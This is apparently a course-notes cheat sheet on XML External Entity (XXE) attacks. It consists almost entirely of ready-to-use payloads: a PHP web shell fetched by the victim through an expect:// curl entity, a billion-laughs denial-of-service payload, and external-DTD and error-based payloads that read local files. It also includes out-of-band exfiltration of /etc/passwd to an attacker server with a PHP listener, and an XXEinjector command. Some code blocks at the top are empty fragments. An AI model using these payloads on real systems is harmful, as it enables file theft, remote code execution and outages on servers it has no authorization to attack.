> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/exploits/xml-external-entity-xxe.md). # XML External Entity (XXE) ``` ]> ```

``` ]> ```

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

# Victim Machine
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

# DOS attack to the webserver
# It doesn't work anymore in modern web applications
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>

# Attacker machine
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000

# Victim web application
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>

# Error based XXE
# This will display the error along side with the LFI
# length limitations, and certain special characters may still break it.
# Attacker machine
subl xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

# Victim web application
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

# Attacker machine
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

# Create a base64 decoder written in php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

# Write the php code above
vi index.php 
php -S 0.0.0.0:8000

# Victim web application
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

# Then go back to the php web shell terminal and you can now see the file

# To use this tool first we need to save the POST request
https://github.com/enjoiz/XXEinjector.git

{% code overflow="wrap" %} ``` ruby XXEinjector.rb --host=10.10.15.45 --httpport=8000 --file=../blind.req --path=/etc/passwd --oob=http --phpfilter ``` {% endcode %}